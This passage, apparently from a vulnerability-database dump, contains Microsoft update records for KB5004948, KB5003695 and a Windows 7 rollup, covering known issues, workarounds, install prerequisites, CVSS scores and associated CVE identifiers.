LTSC 2019 and Windows 10 Enterprise LTSC 2016 might fail to activate. This issue only occurs when using a new Customer Support Volume License Key (CSVLK). **Note** This does not affect activation of any other version or edition of Windows. Client devices that are attempting to activate and are affected by this issue might receive the error, \"Error: 0xC004F074. The Software Licensing Service reported that the computer could not be activated. No Key Management Service (KMS) could be contacted. Please see the Application Event Log for additional information.\"Event Log entries related to activation are another way to tell that you might be affected by this issue. Open **Event Viewer **on the client device that failed activation and go to **Windows Logs **> **Application**. If you see only event ID 12288 without a corresponding event ID 12289, this means one of the following:\n\n * The KMS client could not reach the KMS host.\n * The KMS host did not respond.\n * The client did not receive the response.\nFor more information on these event IDs, see [Useful KMS client events - Event ID 12288 and Event ID 12289](<https://docs.microsoft.com/windows-server/get-started/activation-troubleshoot-kms-general#event-id-12288-and-event-id-12289>).| This issue is resolved in KB5010359. \n \n## How to get this update\n\nKB5004948 is no longer available.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-07T00:00:00", "type": "mskb", "title": "July 7, 2021\u2014KB5004948 (OS Build 14393.4470) Out-of-band - EXPIRED", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2021-07-07T00:00:00", "id": "KB5004948", "href": "https://support.microsoft.com/en-us/help/5004948", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2023-11-28T09:54:31", "description": "None\n**Important: **Windows Server 2008 Service Pack 2 (SP2) has reached the end of mainstream support and are now in extended support. Starting in July 2020, there will no longer be optional, non-security releases (known as \"C\" releases) for this operating system. Operating systems in extended support have only cumulative monthly security updates (known as the \"B\" or Update Tuesday release). \n \nVerify that** **you have installed the required updates listed in the **How to get this update** section before installing this update. \n \nWSUS scan cab files will continue to be available for Windows Server 2008 SP2. If you have a subset of devices running this operating system without ESU, they might show as non-compliant in your patch management and compliance toolsets.\n\n## **Improvements and fixes**\n\nThis security update includes quality improvements. Key changes include:\n\n * Security updates to Windows App Platform and Frameworks, Windows Cloud Infrastructure, Windows Authentication, Windows Fundamentals, and Windows Storage and Filesystems.\nFor more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n## **Known issues in this update**\n\n**Symptom**| **Workaround** \n---|--- \nAfter installing this or later updates, apps accessing event logs on remote devices might be unable to connect. This issue might occur if the local or remote has not yet installed updates released June 8, 2021 or later. Affected apps are using certain [legacy Event Logging APIs](<https://nam06.safelinks.protection.outlook.com/?url=https%3A%2F%2Fdocs.microsoft.com%2Fwindows%2Fwin32%2Feventlog%2Fevent-logging-reference&data=04%7C01%7Cv-throbe%40microsoft.com%7C68b7649c7b67404a68e608d92b9e1d56%7C72f988bf86f141af91ab2d7cd011db47%7C1%7C0%7C637588780358267404%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C1000&sdata=scGcVremyws4XgZOCym3Xy2QHLHOkKMjyKzcTLfe41g%3D&reserved=0>). You might receive an error when attempting to connect, for example:\n\n * Error 5: access is denied\n * Error 1764: The requested operation is not supported.\n * System.InvalidOperationException,Microsoft.PowerShell.Commands.GetEventLogCommand\n * Windows has not provided an error code.\n**Note** Event Viewer and other apps using current non-legacy APIs to access event logs should not be affected.| This is expected due to security hardening changes relating to [Event Tracing for Windows (ETW)](<https://nam06.safelinks.protection.outlook.com/?url=https%3A%2F%2Fdocs.microsoft.com%2Fwindows%2Fwin32%2Fetw%2Fevent-tracing-portal&data=04%7C01%7Cv-throbe%40microsoft.com%7C68b7649c7b67404a68e608d92b9e1d56%7C72f988bf86f141af91ab2d7cd011db47%7C1%7C0%7C637588780358267404%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C1000&sdata=%2FgfaPm5%2BCISkiVtxX4404eQqQw7laVw1ivdUp7zQujQ%3D&reserved=0>) for [CVE-2021-31958](<https://nam06.safelinks.protection.outlook.com/?url=https%3A%2F%2Fmsrc.microsoft.com%2Fupdate-guide%2Fvulnerability%2FCVE-2021-31958&data=04%7C01%7Cv-throbe%40microsoft.com%7C68b7649c7b67404a68e608d92b9e1d56%7C72f988bf86f141af91ab2d7cd011db47%7C1%7C0%7C637588780358277372%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C1000&sdata=KZm29KU3UwieblYgHzatlQXbNEqI9KChC0rR4c3fZaU%3D&reserved=0>). This issue is resolved if the local and remote devices both have installed updates released June 8, 2021 or later. \nAfter installing this update or later updates, connections to SQL Server 2005 might fail. You might receive an error, \"Cannot connect to <Server name>, Additional information: A network-related or instance-specific error occurred while establishing a connection to SQL Server. The server was not found or was not accessible. Verify that the instance name is correct and that SQL Server is configured to allow remote connections. (provider: Named Pipes Provider, error: 40 - Could not open a connection to SQL Server) (.Net SqlClient Data Provider)\"| This is expected behavior due to a security hardening change in this update. To resolve this issue, you will need to update to a [supported version of SQL Server](<https://docs.microsoft.com/en-us/lifecycle/products/?terms=sql%20server>). \nAfter installing this update and restarting your device, you might receive the error, \u201cFailure to configure Windows updates. Reverting Changes. Do not turn off your computer\u201d, and the update might show as **Failed** in **Update History**.| This is expected in the following circumstances:\n\n * If you are installing this update on a device that is running an edition that is not supported for ESU. For a complete list of which editions are supported, see [KB4497181](<https://support.microsoft.com/help/4497181>).\n * If you do not have an ESU MAK add-on key installed and activated.\nIf you have purchased an ESU key and have encountered this issue, please verify you have applied all prerequisites and that your key is activated. For information on activation, please see this [blog](<https://aka.ms/Windows7ESU>) post. For information on the prerequisites, see the \"How to get this update\" section of this article. \nCertain operations, such as **rename**, that you perform on files or folders that are on a Cluster Shared Volume (CSV) may fail with the error, \u201cSTATUS_BAD_IMPERSONATION_LEVEL (0xC00000A5)\u201d. This occurs when you perform the operation on a CSV owner node from a process that doesn\u2019t have administrator privilege.| Do one of the following:\n\n * Perform the operation from a process that has administrator privilege.\n * Perform the operation from a node that doesn\u2019t have CSV ownership.\nMicrosoft is working on a resolution and will provide an update in an upcoming release. \n \n## **How to get this update**\n\n**Before installing this update****IMPORTANT** Customers who have purchased the [Extended Security Update (ESU)](<https://www.microsoft.com/en-us/cloud-platform/extended-security-updates>) for on-premises versions of this OS must follow the procedures in [KB4522133](<https://support.microsoft.com/help/4522133>) to continue receiving security updates after extended support ends on January 14, 2020.For more information on ESU and which editions are supported, see [KB4497181](<https://support.microsoft.com/help/4497181>).**Prerequisite:**You must install the updates listed below and **restart your device** before installing the latest Rollup. Installing these updates improves the reliability of the update process and mitigates potential issues while installing the Rollup and applying Microsoft security fixes.\n\n 1. The April 9, 2019 servicing stack update (SSU) ([KB4493730](<https://support.microsoft.com/help/4493730>)). To get the standalone package for this SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). This update is required to install updates that are only SHA-2 signed.\n 2. The latest SHA-2 update ([KB4474419](<https://support.microsoft.com/help/4474419>)) released October 8, 2019. If you are using Windows Update, the latest SHA-2 update will be offered to you automatically. This update is required to install updates that are only SHA-2 signed. For more information on SHA-2 updates, see [2019 SHA-2 Code Signing Support requirement for Windows and WSUS](<https://support.microsoft.com/help/4472027>).\n 3. The Extended Security Updates (ESU) Licensing Preparation Package ([KB4538484](<https://support.microsoft.com/help/4538484>)) or the Update for the Extended Security Updates (ESU) Licensing Preparation Package ([KB4575904](<https://support.microsoft.com/help/4575904>)). The ESU licensing preparation package will be offered to you from WSUS. To get the standalone package for ESU licensing preparation package, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>).\nAfter installing the items above, we strongly recommend that you install the latest SSU ([KB4580971](<https://support.microsoft.com/help/4580971>)). If you are using Windows Update, the latest SSU will be offered to you automatically if you are an ESU customer. To get the standalone package for the latest SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and [Servicing Stack Updates (SSU): Frequently Asked Questions](<https://support.microsoft.com/help/4535697>).**REMINDER** If you are using Security-only updates, you will also need to install all previous Security-only updates and the latest cumulative update for Internet Explorer ([KB5003636](<https://support.microsoft.com/help/5003636>)).**Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| No| See the other options below. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5003695>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows Server 2008 Service Pack 2**Classification**: Security Updates \n \n## **File information**\n\nFor a list of the files that are provided in this update, download the [file information for update 5003695](<https://download.microsoft.com/download/1/1/f/11f459e4-8b62-4314-9e74-d2db335b22d5/5003695.csv>).\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "LOW", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.4, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.5}, "published": "2021-06-08T00:00:00", "type": "mskb", "title": "June 8, 2021\u2014KB5003695 (Security-only update)", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-31199", "CVE-2021-31201", "CVE-2021-31953", "CVE-2021-31954", "CVE-2021-31956", "CVE-2021-31958", "CVE-2021-31962", "CVE-2021-31973"], "modified": "2021-06-08T00:00:00", "id": "KB5003695", "href": "https://support.microsoft.com/en-us/help/5003695", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-11-28T09:54:31", "description": "None\n**Important: **Windows 7 and Windows Server 2008 R2 have reached the end of mainstream support and are now in extended support. Starting in January 2020, there will no longer be optional, non-security releases (known as \"C\" releases) for this operating system. Operating systems in extended support have only cumulative monthly security updates (known as the \"B\" or Update Tuesday release). \n \nVerify that you have installed the required updates listed in the **How to get this update** section before installing this update. \n \nFor information about the various types of Windows updates, such as critical, security, driver, service packs, and so on, please see the following [article](<https://support.microsoft.com/help/824684>). To view other notes and messages, see the Windows 7 and Windows Server 2008 R2 update history [home page](<https://support.microsoft.com/help/4009469>).\n\n## **Improvements and fixes**\n\nThis security update includes quality improvements. Key changes include:\n\n * Addresses an issue in the Server Message Block (SMB) protocol which may cause frequent crashes with Stop error 0xA on devices that run Windows Server 2008 R2 Service Pack 1 (SP1).\n * Security updates to Windows App Platform and Frameworks, Windows Cloud Infrastructure, Windows Authentication, Windows Fundamentals, Windows Remote Desktop, and Windows Storage and Filesystems.\nFor more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n## **Known issues in this update**\n\n**Symptom**| **Workaround** \n---|--- \nAfter installing this or later updates, apps accessing event logs on remote devices might be unable to connect. This issue might occur if the local or remote has not yet installed updates released June 8, 2021 or later. Affected apps are using certain [legacy Event Logging APIs](<https://nam06.safelinks.protection.outlook.com/?url=https%3A%2F%2Fdocs.microsoft.com%2Fwindows%2Fwin32%2Feventlog%2Fevent-logging-reference&data=04%7C01%7Cv-throbe%40microsoft.com%7C68b7649c7b67404a68e608d92b9e1d56%7C72f988bf86f141af91ab2d7cd011db47%7C1%7C0%7C637588780358267404%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C1000&sdata=scGcVremyws4XgZOCym3Xy2QHLHOkKMjyKzcTLfe41g%3D&reserved=0>). You might receive an error when attempting to connect, for example:\n\n * Error 5: access is denied\n * Error 1764: The requested operation is not supported.\n * System.InvalidOperationException,Microsoft.PowerShell.Commands.GetEventLogCommand\n * Windows has not provided an error code.\n**Note** Event Viewer and other apps using current non-legacy APIs to access event logs should not be affected.| This is expected due to security hardening changes relating to [Event Tracing for Windows (ETW)](<https://nam06.safelinks.protection.outlook.com/?url=https%3A%2F%2Fdocs.microsoft.com%2Fwindows%2Fwin32%2Fetw%2Fevent-tracing-portal&data=04%7C01%7Cv-throbe%40microsoft.com%7C68b7649c7b67404a68e608d92b9e1d56%7C72f988bf86f141af91ab2d7cd011db47%7C1%7C0%7C637588780358267404%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C1000&sdata=%2FgfaPm5%2BCISkiVtxX4404eQqQw7laVw1ivdUp7zQujQ%3D&reserved=0>) for [CVE-2021-31958](<https://nam06.safelinks.protection.outlook.com/?url=https%3A%2F%2Fmsrc.microsoft.com%2Fupdate-guide%2Fvulnerability%2FCVE-2021-31958&data=04%7C01%7Cv-throbe%40microsoft.com%7C68b7649c7b67404a68e608d92b9e1d56%7C72f988bf86f141af91ab2d7cd011db47%7C1%7C0%7C637588780358277372%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C1000&sdata=KZm29KU3UwieblYgHzatlQXbNEqI9KChC0rR4c3fZaU%3D&reserved=0>). This issue is resolved if the local and remote devices both have installed updates released June 8, 2021 or later. \nAfter installing this update or later updates, connections to SQL Server 2005 might fail. You might receive an error, \"Cannot connect to <Server name>, Additional information: A network-related or instance-specific error occurred while establishing a connection to SQL Server. The server was not found or was not accessible. Verify that t
Exploit for Improper Privilege Management in Microsoft
